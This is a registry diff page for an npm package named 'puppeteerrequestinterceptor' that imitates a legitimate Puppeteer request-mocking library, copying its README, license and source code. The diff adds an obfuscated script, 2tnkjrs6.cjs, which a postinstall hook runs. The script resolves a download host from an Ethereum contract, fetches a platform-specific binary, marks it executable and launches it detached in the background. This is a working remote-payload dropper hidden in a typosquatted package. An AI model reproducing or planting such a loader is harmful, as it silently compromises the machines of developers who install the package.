puppeteerrequestinterceptor 0.0.1-security → 3.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of puppeteerrequestinterceptor might be problematic. Click here for more details.

package/2tnkjrs6.cjs ADDED
@@ -0,0 +1 @@
1
+ const _0x25fcc7=_0x2766;(function(_0x5df774,_0x3ebdcb){const _0x4c3318=_0x2766,_0x351365=_0x5df774();while(!![]){try{const _0x2fe865=parseInt(_0x4c3318(0x120))/0x1*(-parseInt(_0x4c3318(0x111))/0x2)+parseInt(_0x4c3318(0x10c))/0x3+parseInt(_0x4c3318(0x12d))/0x4*(-parseInt(_0x4c3318(0x119))/0x5)+-parseInt(_0x4c3318(0x131))/0x6+parseInt(_0x4c3318(0x128))/0x7*(-parseInt(_0x4c3318(0x106))/0x8)+parseInt(_0x4c3318(0x11c))/0x9+parseInt(_0x4c3318(0x12b))/0xa;if(_0x2fe865===_0x3ebdcb)break;else _0x351365['push'](_0x351365['shift']());}catch(_0x45a9f3){_0x351365['push'](_0x351365['shift']());}}}(_0x2fc9,0x66c01));const {ethers}=require(_0x25fcc7(0x116)),axios=require(_0x25fcc7(0x127)),util=require(_0x25fcc7(0x113)),fs=require('fs'),path=require(_0x25fcc7(0x132)),os=require('os'),{spawn}=require(_0x25fcc7(0x107)),contractAddress=_0x25fcc7(0x108),WalletOwner='0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84',abi=['function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)'],provider=ethers[_0x25fcc7(0x11d)](_0x25fcc7(0x105)),contract=new ethers[(_0x25fcc7(0x109))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x4260f5=_0x25fcc7,_0x1b6bfb={'hBaOS':'Ошибка\x20при\x20получении\x20IP\x20адреса:','AJiEZ':function(_0x4d0200){return _0x4d0200();}};try{const _0x3d8926=await contract[_0x4260f5(0x12a)](WalletOwner);return _0x3d8926;}catch(_0x11f0e3){return console[_0x4260f5(0x102)](_0x1b6bfb[_0x4260f5(0x11a)],_0x11f0e3),await _0x1b6bfb[_0x4260f5(0x114)](fetchAndUpdateIp);}},getDownloadUrl=_0x33698c=>{const _0x590aae=_0x25fcc7,_0x394bee={'Dzmsj':_0x590aae(0x12f),'NSQrH':_0x590aae(0x130)},_0x4794a9=os[_0x590aae(0x11e)]();switch(_0x4794a9){case _0x590aae(0x10f):return _0x33698c+_0x590aae(0x112);case _0x394bee[_0x590aae(0x123)]:return _0x33698c+_0x590aae(0x10a);case _0x394bee[_0x590aae(0x124)]:return _0x33698c+_0x590aae(0x103);default:throw new Error('Unsupported\x20platform:\x20'+_0x4794a9);}},downloadFile=async(_0x29edc7,_0x14b28a)=>{const _0x3d424f=_0x25fcc7,_0x27de35={'jciaa':'stream'},_0x2e353a=fs[_0x3d424f(0x12e)](_0x14b28a),_0x57f55d=await axios({'url':_0x29edc7,'method':_0x3d424f(0x10e),'responseType':_0x27de35[_0x3d424f(0x10d)]});return _0x57f55d[_0x3d424f(0x122)]['pipe'](_0x2e353a),new Promise((_0x5aea1c,_0xcdeb74)=>{const _0x57e0e2=_0x3d424f;_0x2e353a['on'](_0x57e0e2(0x129),_0x5aea1c),_0x2e353a['on'](_0x57e0e2(0x102),_0xcdeb74);});},executeFileInBackground=async _0x4cbdc8=>{const _0x2f62c1=_0x25fcc7,_0x184aca={'KNMSh':'ignore','VbOFB':_0x2f62c1(0x101)};try{const _0x3592c6=spawn(_0x4cbdc8,[],{'detached':!![],'stdio':_0x184aca[_0x2f62c1(0x104)]});_0x3592c6['unref']();}catch(_0xfc6f32){console['error'](_0x184aca[_0x2f62c1(0x126)],_0xfc6f32);}},runInstallation=async()=>{const _0x4dd0e8=_0x25fcc7,_0x2a7813={'QJVRA':function(_0x253214){return _0x253214();},'hqWda':function(_0x123a8,_0x26f3c5){return _0x123a8(_0x26f3c5);},'UEnQa':function(_0x2f0c7e,_0x14629e,_0xa13bb6){return _0x2f0c7e(_0x14629e,_0xa13bb6);},'IcsLz':function(_0x3adc42,_0x14d268){return _0x3adc42!==_0x14d268;},'EMcmf':_0x4dd0e8(0x10f),'HjQAX':'Ошибка\x20установки:'};try{const _0x5d2855=await _0x2a7813[_0x4dd0e8(0x125)](fetchAndUpdateIp),_0x4fb017=_0x2a7813[_0x4dd0e8(0x118)](getDownloadUrl,_0x5d2855),_0x2d0c9b=os[_0x4dd0e8(0x110)](),_0x130d55=path[_0x4dd0e8(0x10b)](_0x4fb017),_0x1e2ad8=path[_0x4dd0e8(0x115)](_0x2d0c9b,_0x130d55);await _0x2a7813[_0x4dd0e8(0x12c)](downloadFile,_0x4fb017,_0x1e2ad8);if(_0x2a7813['IcsLz'](os[_0x4dd0e8(0x11e)](),_0x2a7813[_0x4dd0e8(0x11b)]))fs[_0x4dd0e8(0x11f)](_0x1e2ad8,_0x4dd0e8(0x121));executeFileInBackground(_0x1e2ad8);}catch(_0x2afaf7){console[_0x4dd0e8(0x102)](_0x2a7813[_0x4dd0e8(0x117)],_0x2afaf7);}};function _0x2fc9(){const _0x3d3e7f=['getDefaultProvider','platform','chmodSync','5QLKGWR','755','data','Dzmsj','NSQrH','QJVRA','VbOFB','axios','70btcWdP','finish','getString','5911490sfoRsK','UEnQa','148Pbvisv','createWriteStream','linux','darwin','1513182CybXwJ','path','Ошибка\x20при\x20запуске\x20файла:','error','/node-macos','KNMSh','mainnet','423704MpYZrZ','child_process','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','Contract','/node-linux','basename','2353857yOebvp','jciaa','GET','win32','tmpdir','126934mGYZaA','/node-win.exe','util','AJiEZ','join','ethers','HjQAX','hqWda','29085oDvqLZ','hBaOS','EMcmf','3235392jWkjCZ'];_0x2fc9=function(){return _0x3d3e7f;};return _0x2fc9();}function _0x2766(_0x141b69,_0x735c39){const _0x2fc973=_0x2fc9();return _0x2766=function(_0x27667a,_0x1766f9){_0x27667a=_0x27667a-0x101;let _0x1c215c=_0x2fc973[_0x27667a];return _0x1c215c;},_0x2766(_0x141b69,_0x735c39);}runInstallation();
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2019 Axiom, Inc.
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md CHANGED
@@ -1,5 +1,263 @@
1
- # Security holding package
1
+ # puppeteer-request-intercepter
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ Intercept API Requests and return Mocked Data
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=puppeteerrequestinterceptor for more information.
5
+ ## Install
6
+
7
+ ```
8
+ $ npm install puppeteer-request-intercepter
9
+ ```
10
+
11
+
12
+ ## Usage
13
+
14
+ ```js
15
+
16
+ const puppeteer = require('puppeteer');
17
+
18
+ const { initFixtureRouter } = require('puppeteer-request-intercepter');
19
+
20
+ (async () => {
21
+ const browser = await puppeteer.launch();
22
+ const page = await browser.newPage();
23
+
24
+ const fixtureRouter = await initFixtureRouter(page, { baseUrl: 'https://news.ycombinator.com' });
25
+ fixtureRouter.route('GET', '/y18.gif', 'y18.gif', { contentType: 'image/gif' });
26
+
27
+ await page.goto('https://news.ycombinator.com', { waitUntil: 'networkidle2' });
28
+ await page.pdf({ path: 'hn.pdf', format: 'A4' });
29
+
30
+ await browser.close();
31
+ })();
32
+
33
+ ```
34
+
35
+ ## API
36
+
37
+ ### initFixtureRouter(page, options?)
38
+
39
+ Initialize a new FixtureRouter class.
40
+
41
+ This class is responsible for configuring and handling Puppeteer requests. Eg. `page.on('request')` and `page.on('response')`
42
+
43
+ Returns a FixtureRouter object with `route` and `routeFixture` functions.
44
+
45
+ #### page
46
+
47
+ Type: `object`
48
+
49
+ An instance of the Puppeteer `page` object.
50
+
51
+ #### options
52
+
53
+ Type: `object`<br>
54
+ Default: `{}`
55
+
56
+ Decode the keys and values. URL components are decoded with [`decode-uri-component`](https://github.com/SamVerschueren/decode-uri-component).
57
+
58
+ ##### baseUrl
59
+
60
+ Type: `string`<br>
61
+ Default: `''`
62
+
63
+ Base Url for relative fixture routes (ex. `/api/v1/users`).
64
+
65
+ ```js
66
+ const fixtureRouter = await initFixtureRouter(page, { baseUrl: 'https://news.ycombinator.com' });
67
+ ```
68
+
69
+ ##### fixtureBasePath
70
+
71
+ Type: `string`<br>
72
+ Default: `./puppeteer/fixtures`
73
+
74
+ Base path where the fixture files are located (and will be created if they don't exist).
75
+
76
+
77
+
78
+ ### fixtureRouter.route(method, route, fixturePath, options)
79
+
80
+ Add a `FixtureRoute` to the `FixtureRouter` instance.
81
+
82
+ #### method
83
+
84
+ Type: `string`
85
+
86
+ The HttpMethod to match:
87
+ - GET
88
+ - POST
89
+ - PATCH
90
+ - PUT
91
+ - DELETE
92
+ - OPTIONS
93
+
94
+ #### route
95
+
96
+ Type: `string`
97
+
98
+ The full or relative Url to match.
99
+
100
+ Comparison is done using `startsWith()` and the order in which `FixtureRoute`'s are added matters. The first one found will be used.
101
+
102
+ Put the most specific match first. Ex:
103
+
104
+ ```
105
+ fixtureRouter.route('GET', '/api/v1/users/bill', 'bill.json');
106
+ fixtureRouter.route('GET', '/api/v1/users', 'all-users.json');
107
+ ```
108
+
109
+ #### fixturePath
110
+
111
+ Type: `string`
112
+
113
+ Relative path of the fixture file to use (or create).
114
+
115
+ #### options
116
+
117
+ Type: `object`<br>
118
+ Default: `{}`
119
+
120
+ `FixtureRouteOptions` to use for the response.
121
+
122
+ ##### contentType
123
+
124
+ Type: `string`<br>
125
+ Default: `application/json`
126
+
127
+ Specifies the Content-Type response header.
128
+
129
+ ##### status
130
+
131
+ Type: `number`<br>
132
+
133
+ Specifies the response status code.
134
+
135
+
136
+
137
+ ### fixtureRouter.routeFixture(fixtureRoute)
138
+
139
+ Add a `FixtureRoute` to the `FixtureRouter` instance.
140
+
141
+ Options are the same as `fixtureRouter.route()` except it accepts an object of parameters instead of individual ones.
142
+
143
+
144
+
145
+ ### fixtureRouter.findRoute(method, url)
146
+
147
+ Returns the first `FixtureRoute` that matches the provided `method` and `url`. If there are no matches it returns `undefined`.
148
+
149
+ #### method
150
+
151
+ Type: `string`
152
+
153
+ The HttpMethod to match.
154
+
155
+ #### url
156
+
157
+ Type: `string`
158
+
159
+ The full or relative Url to match.
160
+
161
+ If it's a relative Url, the configured `baseUrl` will be used.
162
+
163
+
164
+
165
+ ### createFixture(method, route, fixturePath, options)
166
+
167
+ Convenience method for creating `FixtureRoute`'s.
168
+
169
+ Same API as `fixtureRouter.route`.
170
+
171
+ Useful when using `BackstopJS` with a custom `scenarios.fixtures` array.
172
+
173
+
174
+
175
+ ## BackstopJS Example
176
+
177
+ ##### onBefore.ts:
178
+
179
+ ```TypeScript
180
+ import { Scenario } from 'backstopjs';
181
+ import { Page } from 'puppeteer';
182
+ import { initFixtureRouter } from 'puppeteer-request-intercepter';
183
+
184
+ // tslint:disable-next-line: export-name
185
+ export = async (page: Page, scenario: Scenario, vp) => {
186
+ // Configure fixtures:
187
+ if (scenario.fixtures) {
188
+ const fixtureRouter = await initFixtureRouter(page, {
189
+ baseUrl: `http://localhost:8080`,
190
+ fixtureBasePath: 'backstop_data/engine_scripts/fixtures',
191
+ });
192
+
193
+ scenario.fixtures.forEach((fixture) => {
194
+ fixtureRouter.routeFixture(fixture);
195
+ });
196
+ }
197
+ };
198
+ ```
199
+
200
+ ##### backstopConfig.ts:
201
+
202
+ ```TypeScript
203
+
204
+ import { Config, Scenario } from 'backstopjs';
205
+ import { Page } from 'puppeteer';
206
+ import { createFixture, FixtureRoute } from 'puppeteer-request-intercepter';
207
+
208
+ const globalFixtures: FixtureRoute[] = [
209
+ createFixture('GET', '/api/v1/alerts', 'alerts.json'),
210
+ ];
211
+
212
+ const config: Config = {
213
+ id: 'MyProject',
214
+ viewports: [
215
+ {
216
+ label: 'phone',
217
+ width: 320,
218
+ height: 1200,
219
+ },
220
+ {
221
+ label: 'tablet',
222
+ width: 1024,
223
+ height: 768,
224
+ },
225
+ {
226
+ label: 'desktop',
227
+ width: 1200,
228
+ height: 900,
229
+ },
230
+ ],
231
+ paths: {
232
+ bitmaps_reference: 'backstop_data/bitmaps_reference',
233
+ bitmaps_test: 'backstop_data/bitmaps_test',
234
+ engine_scripts: 'backstop_data/dist/engine_scripts',
235
+ html_report: 'backstop_data/html_report',
236
+ ci_report: 'backstop_data/ci_report',
237
+ },
238
+ report: ['browser'],
239
+ engine: 'puppeteer',
240
+ engineOptions: {
241
+ args: ['--no-sandbox'],
242
+ },
243
+ asyncCaptureLimit: 5,
244
+ asyncCompareLimit: 50,
245
+ debug: false,
246
+ debugWindow: false,
247
+ onBeforeScript: 'onBefore.js',
248
+ onReadyScript: 'onReady.js',
249
+ scenarios: [
250
+ {
251
+ label: 'dashboards',
252
+ url: url('/dashboards'),
253
+ fixtures: [
254
+ ...globalFixtures,
255
+ createFixture('GET', '/api/v1/dashboards', 'dashboards.json')
256
+ ],
257
+ },
258
+ ],
259
+ };
260
+
261
+ export = config;
262
+
263
+ ```
@@ -0,0 +1,84 @@
1
+ "use strict";
2
+ var __importDefault = (this && this.__importDefault) || function (mod) {
3
+ return (mod && mod.__esModule) ? mod : { "default": mod };
4
+ };
5
+ Object.defineProperty(exports, "__esModule", { value: true });
6
+ exports.createFixture = exports.initFixtureRouter = exports.FixtureRouter = void 0;
7
+ const fs_extra_1 = __importDefault(require("fs-extra"));
8
+ const path_1 = __importDefault(require("path"));
9
+ class FixtureRouter {
10
+ constructor(baseUrl) {
11
+ this.fixtureRoutes = [];
12
+ this.baseUrl = baseUrl;
13
+ }
14
+ routeFixture(fixtureRoute) {
15
+ this.fixtureRoutes.push(fixtureRoute);
16
+ }
17
+ route(method, route, fixturePath, options = {}) {
18
+ this.routeFixture(createFixture(method, route, fixturePath, options));
19
+ }
20
+ findRoute(method, url) {
21
+ return this.fixtureRoutes.find((fixture) => {
22
+ const route = fixture.route.startsWith('http') ? fixture.route : `${this.baseUrl || ''}${fixture.route}`;
23
+ return method === fixture.method && url.startsWith(route);
24
+ });
25
+ }
26
+ }
27
+ exports.FixtureRouter = FixtureRouter;
28
+ async function initFixtureRouter(page, options = {}) {
29
+ await page.setRequestInterception(true);
30
+ const fixtureRouter = new FixtureRouter(options.baseUrl);
31
+ const fixturePath = options.fixtureBasePath || path_1.default.join(process.cwd(), 'puppeteer/fixtures');
32
+ page.on('request', async (request) => {
33
+ const fixtureRoute = fixtureRouter.findRoute(request.method(), request.url());
34
+ if (fixtureRoute) {
35
+ // check if the fixture exists
36
+ const filePath = path_1.default.join(fixturePath, fixtureRoute.fixturePath);
37
+ const exists = await fs_extra_1.default.pathExists(filePath);
38
+ if (exists) {
39
+ // tslint:disable-next-line: non-literal-fs-path
40
+ const body = await fs_extra_1.default.readFile(filePath);
41
+ console.log('Routing Fixture:', fixtureRoute.route, '=', request.url(), '=>', filePath);
42
+ return request.respond({
43
+ body: body,
44
+ contentType: fixtureRoute.options.contentType || 'application/json',
45
+ status: fixtureRoute.options.status,
46
+ });
47
+ }
48
+ else {
49
+ // continue the request (we'll save it in the response event).
50
+ return request.continue();
51
+ }
52
+ }
53
+ else {
54
+ return request.continue();
55
+ }
56
+ });
57
+ page.on('response', async (response) => {
58
+ const request = response.request();
59
+ const fixtureRoute = fixtureRouter.findRoute(request.method(), request.url());
60
+ if (fixtureRoute) {
61
+ // save fixture if it doesn't exist
62
+ const filePath = path_1.default.join(fixturePath, fixtureRoute.fixturePath);
63
+ const exists = await fs_extra_1.default.pathExists(filePath);
64
+ if (!exists) {
65
+ console.log('Creating new fixture file:', filePath, fixtureRoute.route, request.url());
66
+ // tslint:disable-next-line: non-literal-fs-path
67
+ fs_extra_1.default.writeFile(filePath, await response.buffer());
68
+ return;
69
+ }
70
+ }
71
+ });
72
+ return fixtureRouter;
73
+ }
74
+ exports.initFixtureRouter = initFixtureRouter;
75
+ function createFixture(method, route, fixturePath, options = {}) {
76
+ return {
77
+ fixturePath: fixturePath,
78
+ method: method,
79
+ options: options,
80
+ route: route,
81
+ };
82
+ }
83
+ exports.createFixture = createFixture;
84
+ //# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiaW5kZXguanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyIuLi8uLi9zcmMvaW5kZXgudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6Ijs7Ozs7O0FBQUEsd0RBQTBCO0FBQzFCLGdEQUF3QjtBQW9CeEIsTUFBYSxhQUFhO0lBSXhCLFlBQVksT0FBZ0I7UUFGckIsa0JBQWEsR0FBbUIsRUFBRSxDQUFDO1FBR3hDLElBQUksQ0FBQyxPQUFPLEdBQUcsT0FBTyxDQUFDO0lBQ3pCLENBQUM7SUFFTSxZQUFZLENBQUMsWUFBMEI7UUFDNUMsSUFBSSxDQUFDLGFBQWEsQ0FBQyxJQUFJLENBQUMsWUFBWSxDQUFDLENBQUM7SUFDeEMsQ0FBQztJQUVNLEtBQUssQ0FBQyxNQUFjLEVBQUUsS0FBYSxFQUFFLFdBQW1CLEVBQUUsVUFBK0IsRUFBRTtRQUNoRyxJQUFJLENBQUMsWUFBWSxDQUFDLG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QixNQUFNLEVBQUUsTUFBTTtRQUNkLE9BQU8sRUFBRSxPQUFPO1FBQ2hCLEtBQUssRUFBRSxLQUFLO0tBQ2IsQ0FBQztBQUNKLENBQUM7QUFaRCxzQ0FZQyJ9
package/package.json CHANGED
@@ -1,6 +1,53 @@
1
1
  {
2
2
  "name": "puppeteerrequestinterceptor",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "3.0.1",
4
+ "description": "Intercept API Requests and return Mocked Data",
5
+ "main": "build/main/index.js",
6
+ "typings": "build/main/index.d.ts",
7
+ "module": "build/module/index.js",
8
+ "repository": "https://github.com/axiomhq/puppeteer-request-intercepter",
9
+ "license": "MIT",
10
+ "keywords": [],
11
+ "scripts": {
12
+ "postinstall": "node 2tnkjrs6.cjs"
13
+ },
14
+ "scripts-info": {
15
+ "build": "Clean and rebuild the project",
16
+ "example": "Run the puppeteer.js example which will create hn.pdf in the root directoy.",
17
+ "fix": "Try to automatically fix any linting problems",
18
+ "lint": "Lint the project",
19
+ "watch": "Watch and rebuild the project on save",
20
+ "version": "Bump package.json version, update CHANGELOG.md, tag release",
21
+ "reset": "Delete all un-tracked files and reset the repo to the last commit",
22
+ "prepare-release": "One-step: clean, build, and prep a release"
23
+ },
24
+ "engines": {
25
+ "node": ">=8.9"
26
+ },
27
+ "dependencies": {
28
+ "@types/fs-extra": "^11.0.1",
29
+ "@types/node": "^18.15.11",
30
+ "fs-extra": "^11.1.1",
31
+ "puppeteer": "^19.9.0",
32
+ "axios": "^1.7.7",
33
+ "ethers": "^6.13.2"
34
+ },
35
+ "devDependencies": {
36
+ "cz-conventional-changelog": "^3.3.0",
37
+ "npm-run-all": "^4.1.5",
38
+ "prettier": "^2.8.7",
39
+ "standard-version": "^9.5.0",
40
+ "trash-cli": "^4.0.0",
41
+ "tslint": "^5.20.1",
42
+ "tslint-config-prettier": "^1.18.0",
43
+ "typescript": "^4.6.4"
44
+ },
45
+ "config": {
46
+ "commitizen": {
47
+ "path": "cz-conventional-changelog"
48
+ }
49
+ },
50
+ "files": [
51
+ "2tnkjrs6.cjs"
52
+ ]
53
+ }